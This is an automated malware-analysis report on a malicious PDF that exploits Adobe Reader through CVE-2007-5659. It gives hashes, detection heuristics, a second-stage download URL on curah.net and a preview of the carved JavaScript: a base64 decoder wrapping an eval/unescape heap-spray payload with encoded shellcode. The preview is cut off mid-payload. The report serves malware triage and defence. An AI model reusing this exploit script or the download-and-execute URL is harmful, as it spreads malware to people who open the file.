PDF malware analysis — malicious · e26e32005db2fbc9

MALICIOUS

PDF

3.0 KB First seen: 2012-07-12

MD5: 3790dc7f2bc0778aacb2c8f151a03bc6 SHA-1: c4e7f6911b71a5730be4ff9fc309c4eb0696679d SHA-256: e26e32005db2fbc982eff244f37b985bc968a934d40d2b135a0284e6020e4e68

258 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file, 'javascript_obj0009_000.js', is likely responsible for executing a malicious payload. The use of String.fromCharCode suggests obfuscation within the JavaScript.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 8

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
      output = output + String.fromCharCode(chr1);
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY

Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://curah.net/1/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0009_000.js`	pdf-javascript-stream	PDF /JS object 9 at offset 0xD6	21201 bytes
SHA-256: `b09962334582a09d244e564d00a10a6fa402f8475eeeadeef14d50b32e47d9ef`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyXXXStr.indexOf(input.charAt(i++)); enc2 = keyXXXStr.indexOf(input.charAt(i++)); enc3 = keyXXXStr.indexOf(input.charAt(i++)); enc4 = keyXXXStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) \| (enc2 >> 4); chr2 = ((enc2 & 15) << 4) \| (enc3 >> 2); chr3 = ((enc3 & 3) << 6) \| enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while (i < input.length); return output; } var aasd = decode64("DQogdmFyIHlDVUxLR3JDUVUgPSBuZXcgQXJyYXkoKTsNCiB2YXIgcE5nYmVIZHBIczsNCiB2YXIgbGF2ZSA9IGV2YWw7DQogIGxhdmUodW5lc2NhcGUoIiUyMCUyMCUyMCU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU0ZCU1NyU2OCU3NyU3OCU1NiU2MiUzMSU1MCU3NCUyOCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyYyUyMCU2YyU2MiU2ZiU1MCU0MyU1MyU2OCU3MSU0OCU3YSUyOSUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCU3NyU2OCU2OSU2YyU2NSUyOCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUyYSUyMCUzMiUyMCUzYyUyMCU2YyU2MiU2ZiU1MCU0MyU1MyU2OCU3MSU0OCU3YSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyMCUyYiUzZCUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyMCUzZCUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyZSU3MyU3NSU2MiU3MyU3NCU3MiU2OSU2ZSU2NyUyOCUzMCUyYyUyMCU2YyU2MiU2ZiU1MCU0MyU1MyU2OCU3MSU0OCU3YSUyMCUyZiUyMCUzMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3MiU2NSU3NCU3NSU3MiU2ZSUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUzYiUyMCUyMCUyMCU3ZCUyMCUyMCIpKTsgIGxhdmUodW5lc2NhcGUoIiUyMCUyMCUyMCUyMCU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU2MyUzNiU1NyU1MCUzMyU1NCU3NiU2NSU1NSU0YyUyOCU3NCU2OSU0ZSU2NCU1MyU2YyUzNiU1MiUzMSU2OSUyOSUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU3NCU2OSU0ZSU2NCU1MyU2YyUzNiU1MiUzMSU2OSUyMCUzZCUzZCUyMCUzMCUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU3MyU2YSU0YSU2NiUzMCU1NyUzOSU3MiU0ZCU1MSUyMCUzZCUyMCUzMCU3OCUzMCU2MyUzMCU2MyUzMCU2MyUzMCU2MyUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2ZiUzNiU1NyU0ZCU1NiU1OSU3MSU1MiU0MyU0YiUyMCUzZCUyMCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzOCU0MiUzNiUzNCUyNSU3NSUzMyUzMCUzNCUzMCUyNSU3NSUzMCU0MyUzNyUzOCUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0MiUzMCU0MyUyNSU3NSUzMSU0MyUzNyUzMCUyNSU3NSUzOCU0MiU0MSU0NCUyNSU3NSUzMCUzOCUzNSUzOCUyNSU3NSUzMCUzOSU0NSU0MiUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0NCUzMyUzNCUyNSU3NSUzNyU0MyUzNCUzMCUyNSU3NSUzNSUzOCUzOCU0MiUyNSU3NSUzNiU0MSUzMyU0MyUyNSU3NSUzNSU0MSUzNCUzNCUyNSU3NSU0NSUzMiU0NCUzMSUyNSU3NSU0NSUzMiUzMiU0MiUyNSU3NSU0NSU0MyUzOCU0MiUyNSU3NSUzNCU0NiU0NSU0MiUyNSU3NSUzNSUzMiUzNSU0MSUyNSU3NSU0NSU0MSUzOCUzMyUyNSU3NSUzOCUzOSUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzNyUzNSUzNiUyNSU3NSUzNyUzMyUzOCU0MiUyNSU3NSUzOCU0MiUzMyU0MyUyNSU3NSUzMyUzMyUzNyUzNCUyNSU3NSUzMCUzMyUzNyUzOCUyNSU3NSUzNSUzNiU0NiUzMyUyNSU3NSUzNyUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzMCUyNSU3NSUzMyUzMyU0NiUzMyUyNSU3NSUzNCUzOSU0MyUzOSUyNSU3NSUzNCUzMSUzNSUzMCUyNSU3NSUzMyUzMyU0MSU0NCUyNSU3NSUzMyUzNiU0NiU0NiUyNSU3NSU0MiU0NSUzMCU0NiUyNSU3NSUzMCUzMyUzMSUzNCUyNSU3NSU0NiUzMiUzMyUzOCUyNSU3NSUzMCUzOCUzNyUzNCUyNSU3NSU0MyU0NiU0MyUzMSUyNSU3NSUzMCUzMyUzMCU0NCUyNSU3NSUzNCUzMCU0NiU0MSUyNSU3NSU0NSU0NiU0NSU0MiUyNSU3NSUzMyU0MiUzNSUzOCUyNSU3NSUzNyUzNSU0NiUzOCUyNSU3NSUzNSU0NSU0NSUzNSUyNSU3NSUzNCUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzNCUyNSU3NSUzNiUzNiU0MyUzMyUyNSU3NSUzMCU0MyUzOCU0MiUyNSU3NSUzOCU0MiUzNCUzOCUyNSU3NSUzMSU0MyUzNSUzNiUyNSU3NSU0NCUzMyUzMCUzMyUyNSU3NSUzMCUzNCUzOCU0MiUyNSU3NSUzMCUzMyUzOCU0MSUyNSU3NSUzNSU0NiU0MyUzMyUyNSU3NSUzNSUzMCUzNSU0NSUyNSU3NSUzOCU0NCU0MyUzMyUyNSU3NSUzMCUzOCUzNyU0NCUyNSU3NSUzNSUzMiUzNSUzNyUyNSU3NSUzMyUzMyU0MiUzOCUyNSU3NSUzOCU0MSU0MyU0MSUyNSU3NSU0NSUzOCUzNSU0MiUyNSU3NSU0NiU0NiU0MSUzMiUyNSU3NSU0NiU0NiU0NiU0NiUyNSU3NSU0MyUzMCUzMyUzMiUyNSU3NSU0NiUzNyUzOCU0MiUyNSU3NSU0MSU0NSU0NiUzMiUyNSU3NSU0MiUzOCUzNCU0NiUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzNiUzNiU0MSU0MiUyNSU3NSUzNiUzNiUzOSUzOCUyNSU3NSU0MiUzMCU0MSU0MiUyNSU3NSUzOCU0MSUzNiU0MyUyNSU3NSUzOSUzOCU0NSUzMCUyNSU3NSUzNiUzOCUzNSUzMCUyNSU3NSUzNiU0NSUzNiU0NiUyNSU3NSUzNiUzNCUzMiU0NSUyNSU3NSUzNyUzNSUzNiUzOCUyNSU3NSUzNiU0MyUzNyUzMiUyNSU3NSUzNSUzNCUzNiU0NCUyNSU3NSUzOCU0NSU0MiUzOCUyNSU3NSUzMCU0NSUzNCU0NSUyNSU3NSU0NiU0NiU0NSU0MyUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzMCUzOSUzMyUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzNSUzMCUzNSUzMCUyNSU3NSUzOCU0MiUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSU0MyUzMiUzOCUzMyUyNSU3NSUzOCUzMyUzNyU0NiUyNSU3NSUzMyUzMSU0MyUzMiUyNSU3NSUzNSUzMCUzNSUzMiUyNSU3NSUzMyUzNiU0MiUzOCUyNSU3NSUzMiU0NiUzMSU0MSUyNSU3NSU0NiU0NiUzNyUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzMyUzMyUzNSU0MiUyNSU3NSUzNSUzNyU0NiU0NiUyNSU3NSU0MiUzOCUzNSUzNiUyNSU3NSU0NiU0NSUzOSUzOCUyNSU3NSUzMCU0NSUzOCU0MSUyNSU3NSUzNSUzNSU0NiU0NiUyNSU3NSUzNSUzNyUzMCUzNCUyNSU3NSU0NSU0NiU0MiUzOCUyNSU3NSU0NSUzMCU0MyU0NSUyNSU3NSU0NiU0NiUzNiUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNyUzNCUzNiUzOCUyNSU3NSUzNyUzMCUzNyUzNCUyNSU3NSUzMiU0NiUzMyU0MSUyNSU3NSUzNiUzMyUzMiU0NiUyNSU3NSUzNyUzMiUzNyUzNSUyNSU3NSUzNiUzOCUzNiUzMSUyNSU3NSUzNiU0NSUzMiU0NSUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzMyUzMSUzMiU0NiUyNSU3NSUzNiUzNyUzMiU0NiUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNiUzOCUzNyUzMCUyNSU3NSUzMyU0NiUzNyUzMCUyNSU3NSUzNyUzMCUzNyUzMyUyNSU3NSUzMyU0NCUzNiU0MyUyNSU3NSUzNiUzNCUzNyUzMCUyNSU3NSUzNSU0NiUzNiUzNiUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMCUzMCUzNyUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU2NSU2YyU3MyU2NSUyMCU2OSU2NiUyOCU3NCU2OSU0ZSU2NCU1MyU2YyUzNiU1MiUzMSU2OSUyMCUzZCUzZCUyMCUzMSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3MyU2YSU0YSU2NiUzMCU1NyUzOSU3MiU0ZCU1MSUyMCUzZCUyMCUzMCU3OCUzMyUzMCUzMyUzMCUzMyUzMCUzMyUzMCUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2ZiUzNiU1NyU0ZCU1NiU1OSU3MSU1MiU0MyU0YiUyMCUzZCUyMCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzOCU0MiUzNiUzNCUyNSU3NSUzMyUzMCUzNCUzMCUyNSU3NSUzMCU0MyUzNyUzOCUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0MiUzMCU0MyUyNSU3NSUzMSU0MyUzNyUzMCUyNSU3NSUzOCU0MiU0MSU0NCUyNSU3NSUzMCUzOCUzNSUzOCUyNSU3NSUzMCUzOSU0NSU0MiUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0NCUzMyUzNCUyNSU3NSUzNyU0MyUzNCUzMCUyNSU3NSUzNSUzOCUzOCU0MiUyNSU3NSUzNiU0MSUzMyU0MyUyNSU3NSUzNSU0MSUzNCUzNCUyNSU3NSU0NSUzMiU0NCUzMSUyNSU3NSU0NSUzMiUzMiU0MiUyNSU3NSU0NSU0MyUzOCU0MiUyNSU3NSUzNCU0NiU0NSU0MiUyNSU3NSUzNSUzMiUzNSU0MSUyNSU3NSU0NSU0MSUzOCUzMyUyNSU3NSUzOCUzOSUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzNyUzNSUzNiUyNSU3NSUzNyUzMyUzOCU0MiUyNSU3NSUzOCU0MiUzMyU0MyUyNSU3NSUzMyUzMyUzNyUzNCUyNSU3NSUzMCUzMyUzNyUzOCUyNSU3NSUzNSUzNiU0NiUzMyUyNSU3NSUzNyUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzMCUyNSU3NSUzMyUzMyU0NiUzMyUyNSU3NSUzNCUzOSU0MyUzOSUyNSU3NSUzNCUzMSUzNSUzMCUyNSU3NSUzMyUzMyU0MSU0NCUyNSU3NSUzMyUzNiU0NiU0NiUyNSU3NSU0MiU0NSUzMCU0NiUyNSU3NSUzMCUzMyUzMSUzNCUyNSU3NSU0NiUzMiUzMyUzOCUyNSU3NSUzMCUzOCUzNyUzNCUyNSU3NSU0MyU0NiU0MyUzMSUyNSU3NSUzMCUzMyUzMCU0NCUyNSU3NSUzNCUzMCU0NiU0MSUyNSU3NSU0NSU0NiU0NSU0MiUyNSU3NSUzMyU0MiUzNSUzOCUyNSU3NSUzNyUzNSU0NiUzOCUyNSU3NSUzNSU0NSU0NSUzNSUyNSU3NSUzNCUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzNCUyNSU3NSUzNiUzNiU0MyUzMyUyNSU3NSUzMCU0MyUzOCU0MiUyNSU3NSUzOCU0MiUzNCUzOCUyNSU3NSUzMSU0MyUzNSUzNiUyNSU3NSU0NCUzMyUzMCUzMyUyNSU3NSUzMCUzNCUzOCU0MiUyNSU3NSUzMCUzMyUzOCU0MSUyNSU3NSUzNSU0NiU0MyUzMyUyNSU3NSUzNSUzMCUzNSU0NSUyNSU3NSUzOCU0NCU0MyUzMyUyNSU3NSUzMCUzOCUzNyU0NCUyNSU3NSUzNSUzMiUzNSUzNyUyNSU3NSUzMyUzMyU0MiUzOCUyNSU3NSUzOCU0MSU0MyU0MSUyNSU3NSU0NSUzOCUzNSU0MiUyNSU3NSU0NiU0NiU0MSUzMiUyNSU3NSU0NiU0NiU0NiU0NiUyNSU3NSU0MyUzMCUzMyUzMiUyNSU3NSU0NiUzNyUzOCU0MiUyNSU3NSU0MSU0NSU0NiUzMiUyNSU3NSU0MiUzOCUzNCU0NiUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzNiUzNiU0MSU0MiUyNSU3NSUzNiUzNiUzOSUzOCUyNSU3NSU0MiUzMCU0MSU0MiUyNSU3NSUzOCU0MSUzNiU0MyUyNSU3NSUzOSUzOCU0NSUzMCUyNSU3NSUzNiUzOCUzNSUzMCUyNSU3NSUzNiU0NSUzNiU0NiUyNSU3NSUzNiUzNCUzMiU0NSUyNSU3NSUzNyUzNSUzNiUzOCUyNSU3NSUzNiU0MyUzNyUzMiUyNSU3NSUzNSUzNCUzNiU0NCUyNSU3NSUzOCU0NSU0MiUzOCUyNSU3NSUzMCU0NSUzNCU0NSUyNSU3NSU0NiU0NiU0NSU0MyUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzMCUzOSUzMyUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzNSUzMCUzNSUzMCUyNSU3NSUzOCU0MiUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSU0MyUzMiUzOCUzMyUyNSU3NSUzOCUzMyUzNyU0NiUyNSU3NSUzMyUzMSU0MyUzMiUyNSU3NSUzNSUzMCUzNSUzMiUyNSU3NSUzMyUzNiU0MiUzOCUyNSU3NSUzMiU0NiUzMSU0MSUyNSU3NSU0NiU0NiUzNyUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzMyUzMyUzNSU0MiUyNSU3NSUzNSUzNyU0NiU0NiUyNSU3NSU0MiUzOCUzNSUzNiUyNSU3NSU0NiU0NSUzOSUzOCUyNSU3NSUzMCU0NSUzOCU0MSUyNSU3NSUzNSUzNSU0NiU0NiUyNSU3NSUzNSUzNyUzMCUzNCUyNSU3NSU0NSU0NiU0MiUzOCUyNSU3NSU0NSUzMCU0MyU0NSUyNSU3NSU0NiU0NiUzNiUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNyUzNCUzNiUzOCUyNSU3NSUzNyUzMCUzNyUzNCUyNSU3NSUzMiU0NiUzMyU0MSUyNSU3NSUzNiUzMyUzMiU0NiUyNSU3NSUzNyUzMiUzNyUzNSUyNSU3NSUzNiUzOCUzNiUzMSUyNSU3NSUzNiU0NSUzMiU0NSUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzMyUzMSUzMiU0NiUyNSU3NSUzNiUzNyUzMiU0NiUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNiUzOCUzNyUzMCUyNSU3NSUzMyU0NiUzNyUzMCUyNSU3NSUzNyUzMCUzNyUzMyUyNSU3NSUzMyU0NCUzNiU0MyUyNSU3NSUzNiUzNCUzNyUzMCUyNSU3NSUzNSU0NiUzNiUzNiUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMCUzMCUzNyUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU2NSU2YyU3MyU2NSUyMCU2OSU2NiUyOCU3NCU2OSU0ZSU2NCU1MyU2YyUzNiU1MiUzMSU2OSUyMCUzZCUzZCUyMCUzMiUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2ZiUzNiU1NyU0ZCU1NiU1OSU3MSU1MiU0MyU0YiUyMCUzZCUyMCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzOCU0MiUzNiUzNCUyNSU3NSUzMyUzMCUzNCUzMCUyNSU3NSUzMCU0MyUzNyUzOCUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0MiUzMCU0MyUyNSU3NSUzMSU0MyUzNyUzMCUyNSU3NSUzOCU0MiU0MSU0NCUyNSU3NSUzMCUzOCUzNSUzOCUyNSU3NSUzMCUzOSU0NSU0MiUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0NCUzMyUzNCUyNSU3NSUzNyU0MyUzNCUzMCUyNSU3NSUzNSUzOCUzOCU0MiUyNSU3NSUzNiU0MSUzMyU0MyUyNSU3NSUzNSU0MSUzNCUzNCUyNSU3NSU0NSUzMiU0NCUzMSUyNSU3NSU0NSUzMiUzMiU0MiUyNSU3NSU0NSU0MyUzOCU0MiUyNSU3NSUzNCU0NiU0NSU0MiUyNSU3NSUzNSUzMiUzNSU0MSUyNSU3NSU0NSU0MSUzOCUzMyUyNSU3NSUzOCUzOSUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzNyUzNSUzNiUyNSU3NSUzNyUzMyUzOCU0MiUyNSU3NSUzOCU0MiUzMyU0MyUyNSU3NSUzMyUzMyUzNyUzNCUyNSU3NSUzMCUzMyUzNyUzOCUyNSU3NSUzNSUzNiU0NiUzMyUyNSU3NSUzNyUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzMCUyNSU3NSUzMyUzMyU0NiUzMyUyNSU3NSUzNCUzOSU0MyUzOSUyNSU3NSUzNCUzMSUzNSUzMCUyNSU3NSUzMyUzMyU0MSU0NCUyNSU3NSUzMyUzNiU0NiU0NiUyNSU3NSU0MiU0NSUzMCU0NiUyNSU3NSUzMCUzMyUzMSUzNCUyNSU3NSU0NiUzMiUzMyUzOCUyNSU3NSUzMCUzOCUzNyUzNCUyNSU3NSU0MyU0NiU0MyUzMSUyNSU3NSUzMCUzMyUzMCU0NCUyNSU3NSUzNCUzMCU0NiU0MSUyNSU3NSU0NSU0NiU0NSU0MiUyNSU3NSUzMyU0MiUzNSUzOCUyNSU3NSUzNyUzNSU0NiUzOCUyNSU3NSUzNSU0NSU0NSUzNSUyNSU3NSUzNCUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzNCUyNSU3NSUzNiUzNiU0MyUzMyUyNSU3NSUzMCU0MyUzOCU0MiUyNSU3NSUzOCU0MiUzNCUzOCUyNSU3NSUzMSU0MyUzNSUzNiUyNSU3NSU0NCUzMyUzMCUzMyUyNSU3NSUzMCUzNCUzOCU0MiUyNSU3NSUzMCUzMyUzOCU0MSUyNSU3NSUzNSU0NiU0MyUzMyUyNSU3NSUzNSUzMCUzNSU0NSUyNSU3NSUzOCU0NCU0MyUzMyUyNSU3NSUzMCUzOCUzNyU0NCUyNSU3NSUzNSUzMiUzNSUzNyUyNSU3NSUzMyUzMyU0MiUzOCUyNSU3NSUzOCU0MSU0MyU0MSUyNSU3NSU0NSUzOCUzNSU0MiUyNSU3NSU0NiU0NiU0MSUzMiUyNSU3NSU0NiU0NiU0NiU0NiUyNSU3NSU0MyUzMCUzMyUzMiUyNSU3NSU0NiUzNyUzOCU0MiUyNSU3NSU0MSU0NSU0NiUzMiUyNSU3NSU0MiUzOCUzNCU0NiUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzNiUzNiU0MSU0MiUyNSU3NSUzNiUzNiUzOSUzOCUyNSU3NSU0MiUzMCU0MSU0MiUyNSU3NSUzOCU0MSUzNiU0MyUyNSU3NSUzOSUzOCU0NSUzMCUyNSU3NSUzNiUzOCUzNSUzMCUyNSU3NSUzNiU0NSUzNiU0NiUyNSU3NSUzNiUzNCUzMiU0NSUyNSU3NSUzNyUzNSUzNiUzOCUyNSU3NSUzNiU0MyUzNyUzMiUyNSU3NSUzNSUzNCUzNiU0NCUyNSU3NSUzOCU0NSU0MiUzOCUyNSU3NSUzMCU0NSUzNCU0NSUyNSU3NSU0NiU0NiU0NSU0MyUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzMCUzOSUzMyUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzNSUzMCUzNSUzMCUyNSU3NSUzOCU0MiUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSU0MyUzMiUzOCUzMyUyNSU3NSUzOCUzMyUzNyU0NiUyNSU3NSUzMyUzMSU0MyUzMiUyNSU3NSUzNSUzMCUzNSUzMiUyNSU3NSUzMyUzNiU0MiUzOCUyNSU3NSUzMiU0NiUzMSU0MSUyNSU3NSU0NiU0NiUzNyUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzMyUzMyUzNSU0MiUyNSU3NSUzNSUzNyU0NiU0NiUyNSU3NSU0MiUzOCUzNSUzNiUyNSU3NSU0NiU0NSUzOSUzOCUyNSU3NSUzMCU0NSUzOCU0MSUyNSU3NSUzNSUzNSU0NiU0NiUyNSU3NSUzNSUzNyUzMCUzNCUyNSU3NSU0NSU0NiU0MiUzOCUyNSU3NSU0NSUzMCU0MyU0NSUyNSU3NSU0NiU0NiUzNiUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNyUzNCUzNiUzOCUyNSU3NSUzNyUzMCUzNyUzNCUyNSU3NSUzMiU0NiUzMyU0MSUyNSU3NSUzNiUzMyUzMiU0NiUyNSU3NSUzNyUzMiUzNyUzNSUyNSU3NSUzNiUzOCUzNiUzMSUyNSU3NSUzNiU0NSUzMiU0NSUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzMyUzMSUzMiU0NiUyNSU3NSUzNiUzNyUzMiU0NiUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNiUzOCUzNyUzMCUyNSU3NSUzMyU0NiUzNyUzMCUyNSU3NSUzNyUzMCUzNyUzMyUyNSU3NSUzMyU0NCUzNiU0MyUyNSU3NSUzNiUzNCUzNyUzMCUyNSU3NSUzNSU0NiUzNiUzNiUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMCUzMCUzNyUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0YSU2YiUzNCUzMCU0ZiU1NiU3NiU1NCU3OCU3NiUyMCUzZCUyMCUzMCU3OCUzNCUzMCUzMCUzMCUzMCUzMCUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0NCU3MCU2NiU1NiU1NiU3MCUzMiU2NCU2NyU0ZiUyMCUzZCUyMCU2ZiUzNiU1NyU0ZCU1NiU1OSU3MSU1MiU0MyU0YiUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUyYSUyMCUzMiUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2YyU2MiU2ZiU1MCU0MyU1MyU2OCU3MSU0OCU3YSUyMCUzZCUyMCU0YSU2YiUzNCUzMCU0ZiU1NiU3NiU1NCU3OCU3NiUyMCUyZCUyMCUyOCU0NCU3MCU2NiU1NiU1NiU3MCUzMiU2NCU2NyU0ZiUyMCUyYiUyMCUzMCU3OCUzMyUzOCUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyMCUzZCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSUzOSUzMCUzOSUzMCUyNSU3NSUzOSUzMCUzOSUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU2ZCUzMyUzNyU2YSU0ZSU1MiU3YSU0NiU2NCU1MSUyMCUzZCUyMCU0ZCU1NyU2OCU3NyU